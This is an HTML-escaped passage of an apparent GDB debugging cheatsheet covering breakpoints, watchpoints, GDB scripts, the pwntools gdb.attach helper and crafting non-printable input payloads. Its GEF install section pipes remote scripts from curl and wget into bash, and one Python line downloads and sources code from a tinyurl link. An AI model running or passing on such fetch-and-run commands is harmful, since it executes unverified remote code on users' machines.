&lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt; main.c:6 &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Further Reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/14390256/10239789&quot;&gt;SO: GDB – Break if variable equal value&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;breakpoint-control&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#breakpoint-control&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Breakpoint Control&lt;/h3&gt;
&lt;p&gt;Sometimes we only want to enable or disable certain breakpoints. These commands come handy then. They also apply to watchpoints.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Get Breakpoint Info&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;info breakpoints
info b&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Control Breakpoints&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Enable/disable all breakpoints.&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;enable&lt;/span&gt;
disable

&lt;span class=&quot;token comment&quot;&gt;# Enable/disable specific breakpoints.&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;enable&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;breakpoint-id&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
disable &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;breakpoint-id&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Remove breakpoints.&lt;/span&gt;
delete &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;breakpoint-id&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Skip &lt;code&gt;n&lt;/code&gt; Breakpoints&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;continue&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;ignore-count&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Skip 32 breaks.&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;continue&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;32&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Hit Breakpoint Once&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Enable the breakpoint once.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# The breakpoint will be disabled after first hit.&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;enable&lt;/span&gt; once &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;breakpoint-id&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;watchpoints&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#watchpoints&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Watchpoints&lt;/h3&gt;
&lt;p&gt;Breaks when data changes. More specifically, whenever the &lt;em&gt;value of an expression&lt;/em&gt; changes, a break occurs.&lt;/p&gt;
&lt;p&gt;This includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;when an address is &lt;strong&gt;written&lt;/strong&gt; to. (&lt;code&gt;watch&lt;/code&gt;, &lt;code&gt;awatch&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;when an address is &lt;strong&gt;read&lt;/strong&gt; from. (&lt;code&gt;rwatch&lt;/code&gt;, &lt;code&gt;awatch&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;when an expression evaluates to a given value. (&lt;code&gt;watch&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token function&quot;&gt;watch&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;expression&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Break on write.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;watch&lt;/span&gt; *0x7fffffffd000

&lt;span class=&quot;token comment&quot;&gt;# Break on condition.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;## Register&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;watch&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$rax&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; 0xdeadbeef
&lt;span class=&quot;token comment&quot;&gt;## Memory&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;### C/C++&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;watch&lt;/span&gt; *&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;uint32_t*&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;0x7fffffffd000 &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; 0xdeadbeef
&lt;span class=&quot;token comment&quot;&gt;### Rust&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;watch&lt;/span&gt; *&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;0x7fffffffd000 as *const u32&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; 0xdeadbeef&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Watchpoints can be enabled/disabled/deleted like breakpoints, but you can also list them separately.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Displays table of watchpoints.&lt;/span&gt;
info watchpoint
info wat&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;If hardware watchpoints are supported, then you can also use read watchpoints and access watchpoints.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Check if hardware watchpoints are supported.&lt;/span&gt;
show can-use-hw-watchpoints&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Read watchpoints: break on read.&lt;/span&gt;
rwatch *0x7fffffffd000

&lt;span class=&quot;token comment&quot;&gt;# Access watchpoints: break on read or write.&lt;/span&gt;
awatch *0x7fffffffd000&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Further Reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://sourceware.org/gdb/current/onlinedocs/gdb.html/Set-Watchpoints.html&quot;&gt;GDB: Setting Watchpoints&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;gdb-script&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#gdb-script&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; GDB Script&lt;/h3&gt;
&lt;p&gt;GDB commands can be placed in files and run in the following ways:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;~/.gdbinit&lt;/code&gt; and &lt;code&gt;./.gdbinit&lt;/code&gt; are executed automatically on GDB startup.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;On the command line, with &lt;code&gt;-x&lt;/code&gt;/&lt;code&gt;--command&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;gdb &lt;span class=&quot;token parameter variable&quot;&gt;--batch&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--command&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;test.gdb &lt;span class=&quot;token parameter variable&quot;&gt;--args&lt;/span&gt; ./test.exe &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Using the &lt;code&gt;source&lt;/code&gt; command in GDB:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;source&lt;/span&gt; myscript.gdb&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Further Reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://sourceware.org/gdb/current/onlinedocs/gdb.html/Command-Files.html&quot;&gt;GDB Reference - Command Files&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cgi.cse.unsw.edu.au/~learn/debugging/modules/gdb_init_file/&quot;&gt;GDB Scripting Commands and Examples&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/10748501/10239789&quot;&gt;SO: What are the best ways to automate a GDB debugging session?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;miscellaneous&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#miscellaneous&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Miscellaneous&lt;/h2&gt;
&lt;h3 id=&quot;install-gef&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#install-gef&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Install GEF&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# via the install script&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;## using curl&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;bash&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-fsSL&lt;/span&gt; https://gef.blah.cat/sh&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;## using wget&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;bash&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;wget&lt;/span&gt; https://gef.blah.cat/sh &lt;span class=&quot;token parameter variable&quot;&gt;-O&lt;/span&gt; -&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# or manually&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;wget&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-O&lt;/span&gt; ~/.gdbinit-gef.py &lt;span class=&quot;token parameter variable&quot;&gt;-q&lt;/span&gt; https://gef.blah.cat/py
&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;source&lt;/span&gt; ~/.gdbinit-gef.py &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; ~/.gdbinit

&lt;span class=&quot;token comment&quot;&gt;# or alternatively from inside gdb directly&lt;/span&gt;
gdb &lt;span class=&quot;token parameter variable&quot;&gt;-q&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;gdb&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; pi &lt;span class=&quot;token function&quot;&gt;import&lt;/span&gt; urllib.request as u, tempfile as t&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;t.NamedTemporaryFile&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;suffix&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;-gef.py&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; open&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;g.name, &lt;span class=&quot;token string&quot;&gt;&#39;wb+&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;.write&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;u.urlopen&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;https://tinyurl.com/gef-main&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;.read&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; gdb.execute&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;source %s&#39;&lt;/span&gt; % g.name&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Further Reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/hugsy/gef&quot;&gt;GitHub: GEF&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;pwnlib-gdb-attach&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#pwnlib-gdb-attach&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; &lt;code&gt;pwnlib.gdb.attach&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This allows you to programmatically interact with the binary with an initial GDB script or send I/O with Python. This uses the Python &lt;code&gt;pwn&lt;/code&gt; module — a versatile exploit development package — which you can install with &lt;code&gt;pip install pwntools&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; pwn &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;

bash &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; process&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;bash&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Attach the debugger and run GDB commands.&lt;/span&gt;
gdb&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;attach&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bash&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&#39;&#39;&#39;
set follow-fork-mode child
break execve
continue
&#39;&#39;&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Interact with the process.&lt;/span&gt;
bash&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendline&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;echo Hello World&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Further Reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/62014210/10239789&quot;&gt;SO: &lt;code&gt;gdb.attach&lt;/code&gt; Example&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.pwntools.com/en/stable/gdb.html#pwnlib.gdb.attach&quot;&gt;&lt;code&gt;gdb.attach&lt;/code&gt; Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To unlock the full potential of the GDB API, check out:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.pwntools.com/en/stable/gdb.html&quot;&gt;pwntools - Working with GDB&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;input-non-printable-characters&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#input-non-printable-characters&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Input Non-Printable Characters&lt;/h3&gt;
&lt;p&gt;Sometimes you may want to manually fuzz or construct complex attack payloads. There are multiple ways to do so.&lt;/p&gt;
&lt;div class=&quot;alert alert-danger d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-radiation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;I don&#39;t recommend using Python 3 to generate strings on-the-fly, as its string/byte-string mechanics are unintuitive. Prefer &lt;code&gt;perl&lt;/code&gt; or &lt;code&gt;echo&lt;/code&gt; instead.&lt;/p&gt;
&lt;p&gt;For example: &lt;code&gt;python -c &#39;print(&amp;quot;&#92;xc0&amp;quot;)&#39;&lt;/code&gt; prints &lt;code&gt;&#92;xc3&#92;x80&lt;/code&gt; (À) instead of &lt;code&gt;&#92;xc0&lt;/code&gt;. Why? Because the Python string &lt;code&gt;&amp;quot;&#92;xc0&amp;quot;&lt;/code&gt; is interpreted as U+00C0, which is &lt;code&gt;&#92;xc3&#92;x80&lt;/code&gt; in UTF-8. In other words, characters are interpreted as Unicode codepoints instead of bytes.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-py&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#92;xc0&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&#39;&#92;xc3&#92;x80&#39;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Printing bytes in Python is &lt;a href=&quot;https://stackoverflow.com/q/908331/10239789&quot;&gt;difficult to do concisely&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Directly from GDB: With &lt;code&gt;run&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Runs with &#39;AAAA&#92;x01&#92;x02&#92;x01&#92;x02&#39; as stdin.&lt;/span&gt;
r &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;perl &lt;span class=&quot;token parameter variable&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;print &quot;A&quot;x4 . &quot;&#92;x01&#92;x02&quot;x2;&#39;&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This uses a Bash &lt;a href=&quot;https://tldp.org/LDP/abs/html/x17837.html&quot;&gt;here-string&lt;/a&gt; to feed goodies into input. Not supported on all machines.&lt;/p&gt;
&lt;!--
**Directly from GDB: Continue**
```sh {data-lang-off}
# (Untested)
c -A &lt; &lt;(perl -e &#39;print &quot;&#92;x00&#92;x40&#92;x3d&#92;x38&quot;&#39;)
```
--&gt;
&lt;p&gt;&lt;strong&gt;Directly from GDB: With Temporary File&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Slightly more convoluted than the previous method, but is more portable.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Prints &#39;AAAA&#92;x01&#92;x02&#92;x01&#92;x02&#39; to a temporary file.&lt;/span&gt;
shell perl &lt;span class=&quot;token parameter variable&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;print &quot;A&quot;x4 . &quot;&#92;x01&#92;x02&quot;x2;&#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;/tmp/input

&lt;span class=&quot;token comment&quot;&gt;# Run the program, use the file as stdin.&lt;/span&gt;
